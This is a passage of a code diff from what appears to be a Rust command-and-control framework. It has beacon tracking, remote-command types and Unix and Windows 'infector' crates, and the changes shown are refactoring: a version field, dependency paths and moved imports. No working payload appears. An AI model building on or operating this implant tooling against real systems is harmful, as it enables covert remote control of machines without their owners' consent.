<span>"OS: "</span> {beacon.operating_system.clone()}
</div>
<div class="beacon-instance-vers">
<span>"Version: "</span> {beacon.version.to_string()}
</div>
{(sort_method.get() != Some(SortMethod::Category))
.then(|| -> Vec<String> {
let BeaconResources {

View File

@ -13,6 +13,7 @@ use serde::Deserialize;
use sqlx::sqlite::SqlitePool;
use tokio::signal;
use sparse_actions::version::Version;
use sparse_server::app::*;
#[cfg(not(debug_assertions))]
@ -362,7 +363,8 @@ async fn handle_listener_events(
{
let beacons = sqlx::query!(
"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance"
r#"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system,
beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance"#
)
.fetch_all(&state.db)
.await?;
@ -407,6 +409,7 @@ async fn handle_listener_events(
userent: b.beacon_userent,
hostname: b.hostname,
config_id: b.config_id,
version: b.version,
last_checkin: last_checkin
.iter()
.find(|ch| ch.beacon_id == b.beacon_id)
@ -440,8 +443,8 @@ async fn handle_listener_events(
}
Ok(BeaconEvent::NewBeacon(bid)) => {
let beacon = sqlx::query!(
"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance
WHERE beacon_id = ?",
r#"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance
WHERE beacon_id = ?"#,
bid
)
.fetch_one(&state.db)
@ -465,6 +468,7 @@ async fn handle_listener_events(
userent: beacon.beacon_userent,
hostname: beacon.hostname,
config_id: beacon.config_id,
version: beacon.version,
last_checkin: chrono::Utc::now(),
category_ids: category_ids.iter().map(|r| r.category_id).collect()
};

View File

@ -11,28 +11,4 @@ main.beacons div.commands {
margin: 10px;
}
}
.cmd-exec, .cmd-install, .cmd-upload, .cmd-download, .cmd-chdir {
display: none;
}
select[name="cmd_type"]:has(> option[value="exec"]:checked) ~ .cmd-exec {
display: block;
}
select[name="cmd_type"]:has(> option[value="upload"]:checked) ~ .cmd-upload {
display: block;
}
select[name="cmd_type"]:has(> option[value="download"]:checked) ~ .cmd-download {
display: block;
}
select[name="cmd_type"]:has(> option[value="chdir"]:checked) ~ .cmd-chdir {
display: block;
}
select[name="cmd_type"]:has(> option[value="install"]:checked) ~ .cmd-install {
display: block;
}
}

View File

@ -10,8 +10,8 @@ async-trait = "0.1.86"
tokio = { version = "1.43.0", features = ["fs", "macros", "rt"] }
thiserror = "2.0.11"
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon", features = ["ring"] }
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-beacon = { path = "../sparse-beacon", features = ["ring"] }
sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
[target.'cfg(target_os = "linux")'.dependencies]
nl-sys = { version = "0.1.0", path = "../nl-sys" }

View File

@ -2,7 +2,7 @@ use std::net::Ipv4Addr;
use nl_sys::netlink;
use sparse_beacon::{
use sparse_actions::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error,
};
@ -13,7 +13,7 @@ pub enum LinuxAdapterError {
Nl(#[from] nl_sys::error::Error),
}
impl sparse_beacon::error::AdapterError for LinuxAdapterError {}
impl sparse_actions::error::AdapterError for LinuxAdapterError {}
#[derive(Clone)]
pub struct LinuxAdapter;

View File

@ -2,8 +2,7 @@ use std::io::SeekFrom;
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_beacon::adapter::BeaconAdapter;
use sparse_actions::{adapter::BeaconAdapter, payload_types::{Parameters, XOR_KEY}};
#[cfg(target_os = "linux")]
mod linux;
@ -16,7 +15,7 @@ mod freebsd;
use freebsd::FreeBsdAdapter as Adapter;
#[tokio::main]
async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> {
async fn main() -> Result<(), sparse_actions::error::BeaconError<<Adapter as BeaconAdapter>::Error>> {
#[cfg(target_os = "linux")]
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)

View File

@ -5,6 +5,6 @@ version.workspace = true
[dependencies]
libc = "0.2.169"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-actions = { path = "../sparse-actions" }
errno = "0.3"
cfg-if = "1.0.0"

View File

@ -8,6 +8,6 @@ errno = "0.3.10"
hex = "0.4.3"
libc = "0.2.169"
rand = "0.9.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }
sparse-actions = { path = "../sparse-actions" }
sparse-unix-infector = { path = "../sparse-unix-infector" }
structopt = "0.3.26"

View File

@ -16,8 +16,8 @@ windows-result = "0.3.0"
windows-strings = "0.3.0"
winreg = "0.55"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon", features = ["openssl"] }
sparse-actions = { path = "../sparse-actions" }
sparse-beacon = { path = "../sparse-beacon", features = ["openssl"] }
[features]
service = []

View File

@ -5,4 +5,4 @@ version.workspace = true
[dependencies]
errno = "0.3.10"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-actions = { path = "../sparse-actions" }

View File

@ -7,9 +7,10 @@ version.workspace = true
errno = "0.3.10"
hex = "0.4.3"
rand = "0.9.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-windows-infector = { version = "2.0.0", path = "../sparse-windows-infector" }
structopt = "0.3.26"
windows = { version = "0.59.0", features = ["Win32_System_Services"] }
windows-strings = "0.3.0"
winreg = "0.55.0"
sparse-actions = { path = "../sparse-actions" }
sparse-windows-infector = { path = "../sparse-windows-infector" }